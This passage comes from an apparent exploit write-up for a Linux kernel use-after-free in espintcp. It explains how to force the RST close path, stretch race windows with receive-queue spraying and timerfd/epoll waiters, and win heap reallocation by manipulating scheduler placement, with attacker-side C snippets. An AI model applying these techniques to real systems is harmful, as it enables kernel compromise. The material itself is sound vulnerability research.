                <span class="k">if</span> <span class="p">(</span><span class="n">after</span><span class="p">(</span><span class="n">end_seq</span><span class="p">,</span> <span class="n">tcp_sk</span><span class="p">(</span><span class="n">sk</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">copied_seq</span><span class="p">))</span>
                        <span class="n">data_was_unread</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>     <span class="c1">// &lt;=[10]</span>
                <span class="n">tcp_eat_recv_skb</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">skb</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="cm">/* If socket has been already reset (e.g. in tcp_reset()) - kill it. */</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_state</span> <span class="o">==</span> <span class="n">TCP_CLOSE</span><span class="p">)</span>
                <span class="k">goto</span> <span class="n">adjudge_to_death</span><span class="p">;</span>

        <span class="p">[...]</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_state</span> <span class="o">!=</span> <span class="n">TCP_CLOSE</span><span class="p">)</span> <span class="p">{</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">tcp_check_oom</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span> <span class="p">{</span>
                        <span class="n">tcp_set_state</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">TCP_CLOSE</span><span class="p">);</span>
                        <span class="n">tcp_send_active_reset</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">GFP_ATOMIC</span><span class="p">,</span>     <span class="c1">// &lt;=[11]</span>
                                              <span class="n">SK_RST_REASON_TCP_ABORT_ON_MEMORY</span><span class="p">);</span>
                        <span class="n">__NET_INC_STATS</span><span class="p">(</span><span class="n">sock_net</span><span class="p">(</span><span class="n">sk</span><span class="p">),</span>
                                        <span class="n">LINUX_MIB_TCPABORTONMEMORY</span><span class="p">);</span>
                <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">check_net</span><span class="p">(</span><span class="n">sock_net</span><span class="p">(</span><span class="n">sk</span><span class="p">)))</span> <span class="p">{</span>
                        <span class="cm">/* Not possible to send reset; just close */</span>
                        <span class="n">tcp_set_state</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">TCP_CLOSE</span><span class="p">);</span>
                <span class="p">}</span>
        <span class="p">}</span>

        <span class="p">[...]</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Because many skb objects are already queued in the server side <code class="language-plaintext highlighter-rouge">sk-&gt;sk_receive_queue</code> to trigger the vulnerability, calling <code class="language-plaintext highlighter-rouge">close()</code> takes the path that sends an <code class="language-plaintext highlighter-rouge">RST</code> instead of performing a normal <code class="language-plaintext highlighter-rouge">FIN</code> based shutdown. As a result, TCP’s 4-way handshake does not happen, and <code class="language-plaintext highlighter-rouge">ctx</code> is freed together with <code class="language-plaintext highlighter-rouge">sk</code> inside <code class="language-plaintext highlighter-rouge">espintcp_close()</code> before the espintcp worker runs. That is where the UAF becomes possible.</p>

<p>After that, when kworker enters <code class="language-plaintext highlighter-rouge">worker_thread()</code> and calls <code class="language-plaintext highlighter-rouge">move_linked_works()</code> to pick up the espintcp worker handler, a UAF on <code class="language-plaintext highlighter-rouge">ctx</code> is triggered. This happens because <code class="language-plaintext highlighter-rouge">ctx-&gt;work</code> was linked into the queue at the time <code class="language-plaintext highlighter-rouge">schedule_work()</code> was called, so the code still follows that work item even after <code class="language-plaintext highlighter-rouge">ctx</code> has been freed on the socket destruction path.</p>

<p>More concretely, during the <code class="language-plaintext highlighter-rouge">list_for_each_entry_safe_from(work, n, NULL, entry)</code> walk inside <code class="language-plaintext highlighter-rouge">move_linked_works()</code>, the already freed <code class="language-plaintext highlighter-rouge">ctx-&gt;work</code> is dereferenced, and the UAF occurs at that point.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">move_linked_works</span><span class="p">(</span><span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">,</span> <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">head</span><span class="p">,</span>
                              <span class="k">struct</span> <span class="n">work_struct</span> <span class="o">**</span><span class="n">nextp</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">n</span><span class="p">;</span>

        <span class="cm">/*
         * Linked worklist will always end before the end of the list,
         * use NULL for list head.
         */</span>
        <span class="n">list_for_each_entry_safe_from</span><span class="p">(</span><span class="n">work</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">entry</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">list_move_tail</span><span class="p">(</span><span class="o">&amp;</span><span class="n">work</span><span class="o">-&gt;</span><span class="n">entry</span><span class="p">,</span> <span class="n">head</span><span class="p">);</span>
                <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="o">*</span><span class="n">work_data_bits</span><span class="p">(</span><span class="n">work</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">WORK_STRUCT_LINKED</span><span class="p">))</span>
                        <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="p">[...]</span>
<span class="p">}</span>
</code></pre></div></div>

<p>At this point in the race scenario, the current step can be summarized as the following diagram.</p>

<p><img src="/assets/images/diagram1.svg" alt="Diagram 1" /></p>

<h2 id="forcing-the-rst-fast-path">Forcing the RST Fast Path</h2>

<p>In the previous step of the scenario, the server side socket had to be closed before <code class="language-plaintext highlighter-rouge">tcp_close()</code> was called on the client side. If the order is reversed, the victim object is freed in the server side close path, and the attempt to trigger the UAF fails.</p>

<p>Once a <code class="language-plaintext highlighter-rouge">close(server_sk)</code> step is added to the race scenario, another timing constraint is introduced. That makes the probability of triggering the vulnerability even lower. To improve the stability of the race, this step needs to be skipped.</p>

<p>To do that, before the actual race scenario starts, the server sends dummy data to the client that does not match the ESP or IKE formats parsed by <code class="language-plaintext highlighter-rouge">espintcp_parser()</code>. When the client socket is then closed, the path goes through an <code class="language-plaintext highlighter-rouge">RST</code> instead of a <code class="language-plaintext highlighter-rouge">FIN</code>. This not only avoids the 4-way handshake, but also allows <code class="language-plaintext highlighter-rouge">sk</code> and <code class="language-plaintext highlighter-rouge">ctx</code> to be freed regardless of whether the server side socket is explicitly closed.</p>

<p>More specifically, if the user sends dummy data as shown below, the skb objects are linked into <code class="language-plaintext highlighter-rouge">sk-&gt;sk_receive_queue</code> rather than <code class="language-plaintext highlighter-rouge">ctx-&gt;ike_queue</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">flags</span> <span class="o">=</span> <span class="n">fcntl</span><span class="p">(</span><span class="n">conn_fd</span><span class="p">,</span> <span class="n">F_GETFL</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">fcntl</span><span class="p">(</span><span class="n">server_fd</span><span class="p">,</span> <span class="n">F_SETFL</span><span class="p">,</span> <span class="n">flags</span> <span class="o">|</span> <span class="n">O_NONBLOCK</span><span class="p">);</span>

<span class="kt">int</span> <span class="n">flag</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">setsockopt</span><span class="p">(</span><span class="n">server_fd</span><span class="p">,</span> <span class="n">IPPROTO_TCP</span><span class="p">,</span> <span class="n">TCP_NODELAY</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">flag</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">flag</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">perror</span><span class="p">(</span><span class="s">"setsockopt(TCP_NODELAY)"</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span>
<span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="sc">'A'</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>

<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">RECV_QUEUE_SPRAY</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kt">ssize_t</span> <span class="n">n</span> <span class="o">=</span> <span class="n">write</span><span class="p">(</span><span class="n">conn_fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">7</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>At this point, small chunks of data are sent many times so that the increase of <code class="language-plaintext highlighter-rouge">sk-&gt;sk_rmem_alloc</code> is kept low while as many skb objects as possible are linked into <code class="language-plaintext highlighter-rouge">sk-&gt;sk_receive_queue</code>. The goal is to make the loop inside <code class="language-plaintext highlighter-rouge">__tcp_close()</code> that calls <code class="language-plaintext highlighter-rouge">tcp_eat_recv_skb()</code> run for as long as possible<code class="language-plaintext highlighter-rouge">[12]</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">__tcp_close</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">,</span> <span class="kt">long</span> <span class="n">timeout</span><span class="p">)</span>
<span class="p">{</span>
        <span class="n">bool</span> <span class="n">data_was_unread</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
        
        <span class="p">[...]</span>

        <span class="k">while</span> <span class="p">((</span><span class="n">skb</span> <span class="o">=</span> <span class="n">skb_peek</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_receive_queue</span><span class="p">))</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">u32</span> <span class="n">end_seq</span> <span class="o">=</span> <span class="n">TCP_SKB_CB</span><span class="p">(</span><span class="n">skb</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">end_seq</span><span class="p">;</span>

                <span class="k">if</span> <span class="p">(</span><span class="n">TCP_SKB_CB</span><span class="p">(</span><span class="n">skb</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">tcp_flags</span> <span class="o">&amp;</span> <span class="n">TCPHDR_FIN</span><span class="p">)</span>
                        <span class="n">end_seq</span><span class="o">--</span><span class="p">;</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">after</span><span class="p">(</span><span class="n">end_seq</span><span class="p">,</span> <span class="n">tcp_sk</span><span class="p">(</span><span class="n">sk</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">copied_seq</span><span class="p">))</span>
                        <span class="n">data_was_unread</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
                <span class="n">tcp_eat_recv_skb</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">skb</span><span class="p">);</span>     <span class="c1">// &lt;=[12]</span>
        <span class="p">}</span>
        
        <span class="p">[...]</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This is done to secure an additional race window for heap spraying later in the race scenario. The details of that part are described in a later step.</p>

<p>To sum up, this step of sending dummy data serves two purposes.</p>

<p>First, by placing skb objects in <code class="language-plaintext highlighter-rouge">sk-&gt;sk_receive_queue</code> instead of <code class="language-plaintext highlighter-rouge">ctx-&gt;ike_queue</code>, the path is forced into the <code class="language-plaintext highlighter-rouge">RST</code> case where <code class="language-plaintext highlighter-rouge">sk</code> and <code class="language-plaintext highlighter-rouge">ctx</code> are freed regardless of whether the server side socket is closed.</p>

<p>Second, by sending a large number of small messages and building up as many skb objects as possible in <code class="language-plaintext highlighter-rouge">sk-&gt;sk_receive_queue</code>, the execution time of the <code class="language-plaintext highlighter-rouge">tcp_eat_recv_skb()</code> loop inside <code class="language-plaintext highlighter-rouge">__tcp_close()</code> is intentionally stretched. This creates an additional race window that can be used for heap spraying in the later part of the scenario.</p>

<p>At this step, the updated scenario can be summarized as the following diagram.</p>

<p><img src="/assets/images/diagram2.svg" alt="Diagram 2" /></p>

<h2 id="extending-the-window-with-timerfd">Extending the Window with timerfd</h2>

<p>By sending around 30 IKE skb, the race window can be extended to roughly <code class="language-plaintext highlighter-rouge">10 µs</code>, but that is still not enough for the scenario to succeed reliably. In theory, sending more IKE skb would widen the race window further. In practice, however, doing so reduces the number of skb that can be linked into <code class="language-plaintext highlighter-rouge">sk-&gt;sk_receive_queue</code>, which shortens the maximum delay in the <code class="language-plaintext highlighter-rouge">__tcp_close()</code> path. From an overall point of view, this makes it difficult to extend the race window any further.</p>

<p>At this point, a different approach is needed. For this step, Jann Horn’s <a href="https://projectzero.google/2022/03/racing-against-clock-hitting-tiny.html">timerfd technique</a> is used to extend the existing race window from about <code class="language-plaintext highlighter-rouge">10 µs</code> to roughly <code class="language-plaintext highlighter-rouge">40000 µs</code>. This technique is particularly effective in a <code class="language-plaintext highlighter-rouge">CONFIG_PREEMPT=n</code> environment.</p>

<p>The idea is to attach a large number of epoll waiters to the waitqueue of a timerfd, and then make the kernel spend a long time running when the <code class="language-plaintext highlighter-rouge">timerfd_tmrproc()</code> handler is invoked in hardirq context on timer expiration. In that path, <code class="language-plaintext highlighter-rouge">__wake_up_common()</code> ends up walking the list linearly, which artificially widens the race window.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">__wake_up_common</span><span class="p">(</span><span class="k">struct</span> <span class="n">wait_queue_head</span> <span class="o">*</span><span class="n">wq_head</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">mode</span><span class="p">,</span>
                        <span class="kt">int</span> <span class="n">nr_exclusive</span><span class="p">,</span> <span class="kt">int</span> <span class="n">wake_flags</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">key</span><span class="p">)</span>
<span class="p">{</span>
        <span class="n">wait_queue_entry_t</span> <span class="o">*</span><span class="n">curr</span><span class="p">,</span> <span class="o">*</span><span class="n">next</span><span class="p">;</span>

        <span class="n">lockdep_assert_held</span><span class="p">(</span><span class="o">&amp;</span><span class="n">wq_head</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">);</span>

        <span class="n">curr</span> <span class="o">=</span> <span class="n">list_first_entry</span><span class="p">(</span><span class="o">&amp;</span><span class="n">wq_head</span><span class="o">-&gt;</span><span class="n">head</span><span class="p">,</span> <span class="n">wait_queue_entry_t</span><span class="p">,</span> <span class="n">entry</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">&amp;</span><span class="n">curr</span><span class="o">-&gt;</span><span class="n">entry</span> <span class="o">==</span> <span class="o">&amp;</span><span class="n">wq_head</span><span class="o">-&gt;</span><span class="n">head</span><span class="p">)</span>
                <span class="k">return</span> <span class="n">nr_exclusive</span><span class="p">;</span>

        <span class="n">list_for_each_entry_safe_from</span><span class="p">(</span><span class="n">curr</span><span class="p">,</span> <span class="n">next</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">wq_head</span><span class="o">-&gt;</span><span class="n">head</span><span class="p">,</span> <span class="n">entry</span><span class="p">)</span> <span class="p">{</span>
                <span class="kt">unsigned</span> <span class="n">flags</span> <span class="o">=</span> <span class="n">curr</span><span class="o">-&gt;</span><span class="n">flags</span><span class="p">;</span>
                <span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>

                <span class="n">ret</span> <span class="o">=</span> <span class="n">curr</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">(</span><span class="n">curr</span><span class="p">,</span> <span class="n">mode</span><span class="p">,</span> <span class="n">wake_flags</span><span class="p">,</span> <span class="n">key</span><span class="p">);</span>  <span class="c1">// ep_poll_callback()</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
                        <span class="k">break</span><span class="p">;</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">WQ_FLAG_EXCLUSIVE</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!--</span><span class="n">nr_exclusive</span><span class="p">)</span>
                        <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">return</span> <span class="n">nr_exclusive</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Because this hrtimer runs in hardirq context, the kernel stays busy while <code class="language-plaintext highlighter-rouge">__wake_up_common()</code> runs for a long time. Any pending softirq is then handled immediately after the hardirq returns. This makes it very useful for widening the window until the Delayed ACK timer expires.</p>

<p>Looking at the interrupt call stack, if the Delayed ACK timer expires successfully while an artificial delay is injected using <code class="language-plaintext highlighter-rouge">timerfd</code>, the event is very likely to be handled through the following path.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>instr_sysvec_apic_timer_interrupt()    // DEFINE_IDTENTRY_SYSVEC(sysvec_apic_timer_interrupt)
  run_sysvec_on_irqstack_cond()
    irq_enter_rcu()
    __sysvec_apic_timer_interrupt()
      local_apic_timer_interrupt()
        hrtimer_interrupt(dev)    // evt-&gt;event_handler(evt)
          __hrtimer_run_queues()
            __run_hrtimer()
              timerfd_tmrproc()
                timerfd_triggered()
                  wake_up_locked_poll()
                    __wake_up_locked_key()
                      __wake_up_common()    // Long-running wakeup scan (epoll waiters)
          if (!tick_program_event(expires_next, 0))
          if (++retries &lt; 3) goto retry;
          __hrtimer_run_queues()
            __run_hrtimer()
              tick_nohz_handler()
                tick_sched_handle()
                  update_process_times()
                    run_local_timers()
                      if (jiffies &gt;= base-&gt;next_expiry) 
                      raise_timer_softirq(TIMER_SOFTIRQ)
    irq_exit_rcu()
      __irq_exit_rcu()
        if (local_softirq_pending())
        invoke_softirq()
          __do_softirq()
            handle_softirqs()
              pending = local_softirq_pending();
              run_timer_softirq()  // h-&gt;action()
                ...
                  tcp_delack_timer()    // Delayed ACK timer handler
</code></pre></div></div>

<p>First, execution enters through the APIC timer interrupt, and the <code class="language-plaintext highlighter-rouge">timerfd_tmrproc()</code> handler attached to the hrtimer runs from <code class="language-plaintext highlighter-rouge">hrtimer_interrupt()</code>. Along this path, the wake-up path through <code class="language-plaintext highlighter-rouge">__wake_up_common()</code> consumes time. After that, the flow goes through the retry path and calls the <code class="language-plaintext highlighter-rouge">tick_nohz_handler()</code>, where expiration of jiffies based timers is detected and <code class="language-plaintext highlighter-rouge">TIMER_SOFTIRQ</code> is raised. Finally, on the interrupt exit path, the softirq is processed and the Delayed ACK timer handler, <code class="language-plaintext highlighter-rouge">tcp_delack_timer()</code>, is executed.</p>

<p>With timerfd added, the current scenario can be summarized as the following diagram.</p>

<p><img src="/assets/images/diagram3.svg" alt="Diagram 3" /></p>

<h2 id="winning-the-reallocation-race-with-scheduling">Winning the Reallocation Race with Scheduling</h2>

<p>Up to this point, the steps so far make it possible to trigger a UAF write in the espintcp worker context. One problem still remains. Right after <code class="language-plaintext highlighter-rouge">espintcp_close()</code>, which frees <code class="language-plaintext highlighter-rouge">ctx</code>, returns, the espintcp worker that triggers the UAF write runs almost immediately. That leaves practically no time for the attacker to perform heap spraying.</p>

<p>The espintcp worker is queued on the bound workqueue <code class="language-plaintext highlighter-rouge">system_percpu_wq</code>, so its execution is guaranteed to happen after <code class="language-plaintext highlighter-rouge">ctx</code> is freed. The trade-off is that the gap between the moment <code class="language-plaintext highlighter-rouge">ctx</code> is freed and the moment the worker actually runs and performs the UAF write becomes very short. In practice, this gap is around <code class="language-plaintext highlighter-rouge">7 µs</code>, and reliably performing heap spraying within that window is not easy.</p>

<p>There are two approaches to address this problem.</p>

<p>The first is pure race-based reallocation. This approach targets the brief moment right after <code class="language-plaintext highlighter-rouge">ctx</code> is freed in <code class="language-plaintext highlighter-rouge">espintcp_close()</code>, and has a heap spray thread on another CPU race to reallocate <code class="language-plaintext highlighter-rouge">ctx</code>. For this to work, <code class="language-plaintext highlighter-rouge">ctx</code> needs to be moved to the node partial list first so that it can be reallocated from another CPU.</p>

<p>The advantage of this approach is that it is relatively simple to implement, but the downside is clear. The gap between freeing <code class="language-plaintext highlighter-rouge">ctx</code> and the worker running is only about <code class="language-plaintext highlighter-rouge">7 µs</code>, which means there are only one or two practical chances to attempt an allocation. As a result, it depends heavily on timing and the success rate ends up being very low. This adds another tiny race window on top of an already complex race scenario, so this approach is not used at this step.</p>

<p>The second approach is to take advantage of the properties of the <code class="language-plaintext highlighter-rouge">CFS/EEVDF</code> schedulers and “win” the reallocation race. This focuses on creating a situation where the heap spray thread can run before the worker.</p>

<p>In a typical Linux distribution environment, an unprivileged user cannot lower the nice value to a negative number via <code class="language-plaintext highlighter-rouge">setpriority()</code>, nor can they use real-time scheduling classes such as <code class="language-plaintext highlighter-rouge">SCHED_RR</code>. Because of that, directly raising the priority of the heap spray thread over the worker is not an option. Instead, an indirect way is used to disturb the scheduling order.</p>

<p>CFS tracks the accumulated execution time of each task as <code class="language-plaintext highlighter-rouge">vruntime</code> and, based on that, selects the best eligible task from the runqueue by considering the calculated <code class="language-plaintext highlighter-rouge">deadline</code> and the eligibility conditions.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">vruntime_eligible</span><span class="p">(</span><span class="k">struct</span> <span class="n">cfs_rq</span> <span class="o">*</span><span class="n">cfs_rq</span><span class="p">,</span> <span class="n">u64</span> <span class="n">vruntime</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">struct</span> <span class="n">sched_entity</span> <span class="o">*</span><span class="n">curr</span> <span class="o">=</span> <span class="n">cfs_rq</span><span class="o">-&gt;</span><span class="n">curr</span><span class="p">;</span>
        <span class="n">s64</span> <span class="n">avg</span> <span class="o">=</span> <span class="n">cfs_rq</span><span class="o">-&gt;</span><span class="n">avg_vruntime</span><span class="p">;</span>
        <span class="kt">long</span> <span class="n">load</span> <span class="o">=</span> <span class="n">cfs_rq</span><span class="o">-&gt;</span><span class="n">avg_load</span><span class="p">;</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">curr</span> <span class="o">&amp;&amp;</span> <span class="n">curr</span><span class="o">-&gt;</span><span class="n">on_rq</span><span class="p">)</span> <span class="p">{</span>
                <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">weight</span> <span class="o">=</span> <span class="n">scale_load_down</span><span class="p">(</span><span class="n">curr</span><span class="o">-&gt;</span><span class="n">load</span><span class="p">.</span><span class="n">weight</span><span class="p">);</span>

                <span class="n">avg</span> <span class="o">+=</span> <span class="n">entity_key</span><span class="p">(</span><span class="n">cfs_rq</span><span class="p">,</span> <span class="n">curr</span><span class="p">)</span> <span class="o">*</span> <span class="n">weight</span><span class="p">;</span>
                <span class="n">load</span> <span class="o">+=</span> <span class="n">weight</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">return</span> <span class="n">avg</span> <span class="o">&gt;=</span> <span class="p">(</span><span class="n">s64</span><span class="p">)(</span><span class="n">vruntime</span> <span class="o">-</span> <span class="n">cfs_rq</span><span class="o">-&gt;</span><span class="n">min_vruntime</span><span class="p">)</span> <span class="o">*</span> <span class="n">load</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Accordingly, the goal of this step is to migrate the heap spray thread onto the same CPU runqueue as the espintcp worker, thereby introducing a new scheduling case in which it can be selected before the espintcp worker.</p>

<p>To do that, when creating the heap spray thread, <code class="language-plaintext highlighter-rouge">pthread_attr_setaffinity_np(CPU0)</code> is called on cpu1 so that the thread is set up to migrate to cpu0, where <code class="language-plaintext highlighter-rouge">espintcp_close()</code> runs. After that, <code class="language-plaintext highlighter-rouge">pthread_create()</code> calls the <code class="language-plaintext highlighter-rouge">sched_setaffinity()</code> syscall internally to set the CPU affinity for the thread. This sequence of operations is performed within the delay window that was injected in the previous step using the walk over <code class="language-plaintext highlighter-rouge">sk-&gt;sk_receive_queue</code> inside <code class="language-plaintext highlighter-rouge">__tcp_close()</code> <code class="language-plaintext highlighter-rouge">[12]</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pthread_attr_t</span> <span class="n">attr</span><span class="p">;</span>
<span class="n">cpu_set_t</span> <span class="n">cpus</span><span class="p">;</span>
<span class="n">pthread_t</span> <span class="n">th</span><span class="p">;</span>

<span class="n">pthread_attr_init</span><span class="p">(</span><span class="o">&amp;</span><span class="n">attr</span><span class="p">);</span>

<span class="n">CPU_ZERO</span><span class="p">(</span><span class="o">&amp;</span><span class="n">cpus</span><span class="p">);</span>
<span class="n">CPU_SET</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">cpus</span><span class="p">);</span> <span class="c1">// cpu0 only</span>

<span class="k">if</span> <span class="p">(</span><span class="n">pthread_attr_setaffinity_np</span><span class="p">(</span><span class="o">&amp;</span><span class="n">attr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">cpu_set_t</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">cpus</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">perror</span><span class="p">(</span><span class="s">"pthread_attr_setaffinity_np"</span><span class="p">);</span>
        <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">if</span> <span class="p">(</span><span class="n">pthread_create</span><span class="p">(</span><span class="o">&amp;</span><span class="n">th</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">attr</span><span class="p">,</span> <span class="n">key_spray</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">perror</span><span class="p">(</span><span class="s">"pthread_create"</span><span class="p">);</span>
        <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>When a task migration happens due to an affinity change, the kernel repositions the task’s <code class="language-plaintext highlighter-rouge">vruntime</code> and <code class="language-plaintext highlighter-rouge">deadline</code> against the <code class="language-plaintext highlighter-rouge">avg_vruntime</code> of the new runqueue, based on the <code class="language-plaintext highlighter-rouge">lag(vlag)</code> that was computed at dequeue time. This process is meant to preserve fairness by keeping the <code class="language-plaintext highlighter-rouge">lag</code>, but in certain situations it can end up placing the task ahead of other runnable entities on the same CPU, so that it is selected first.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">update_entity_lag</span><span class="p">(</span><span class="k">struct</span> <span class="n">cfs_rq</span> <span class="o">*</span><span class="n">cfs_rq</span><span class="p">,</span> <span class="k">struct</span> <span class="n">sched_entity</span> <span class="o">*</span><span class="n">se</span><span class="p">)</span>
<span class="p">{</span>
        <span class="n">s64</span> <span class="n">vlag</span><span class="p">,</span> <span class="n">limit</span><span class="p">;</span>

        <span class="n">WARN_ON_ONCE</span><span class="p">(</span><span class="o">!</span><span class="n">se</span><span class="o">-&gt;</span><span class="n">on_rq</span><span class="p">);</span>

        <span class="n">vlag</span> <span class="o">=</span> <span class="n">avg_vruntime</span><span class="p">(</span><span class="n">cfs_rq</span><span class="p">)</span> <span class="o">-</span> <span class="n">se</span><span class="o">-&gt;</span><span class="n">vruntime</span><span class="p">;</span>
        <span class="n">limit</span> <span class="o">=</span> <span class="n">calc_delta_fair</span><span class="p">(</span><span class="n">max_t</span><span class="p">(</span><span class="n">u64</span><span class="p">,</span> <span class="mi">2</span><span class="o">*</span><span class="n">se</span><span class="o">-&gt;</span><span class="n">slice</span><span class="p">,</span> <span class="n">TICK_NSEC</span><span class="p">),</span> <span class="n">se</span><span class="p">);</span>

        <span class="n">se</span><span class="o">-&gt;</span><span class="n">vlag</span> <span class="o">=</span> <span class="n">clamp</span><span class="p">(</span><span class="n">vlag</span><span class="p">,</span> <span class="o">-</span><span class="n">limit</span><span class="p">,</span> <span class="n">limit</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="n">bool</span>
<span class="nf">dequeue_entity</span><span class="p">(</span><span class="k">struct</span> <span class="n">cfs_rq</span> <span class="o">*</span><span class="n">cfs_rq</span><span class="p">,</span> <span class="k">struct</span> <span class="n">sched_entity</span> <span class="o">*</span><span class="n">se</span><span class="p">,</span> <span class="kt">int</span> <span class="n">flags</span><span class="p">)</span>
<span class="p">{</span>
        <span class="p">[...]</span>
        
        <span class="n">update_entity_lag</span><span class="p">(</span><span class="n">cfs_rq</span><span class="p">,</span> <span class="n">se</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">sched_feat</span><span class="p">(</span><span class="n">PLACE_REL_DEADLINE</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">sleep</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">se</span><span class="o">-&gt;</span><span class="n">deadline</span> <span class="o">-=</span> <span class="n">se</span><span class="o">-&gt;</span><span class="n">vruntime</span><span class="p">;</span>
                <span class="n">se</span><span class="o">-&gt;</span><span class="n">rel_deadline</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>
        
        <span class="p">[...]</span>
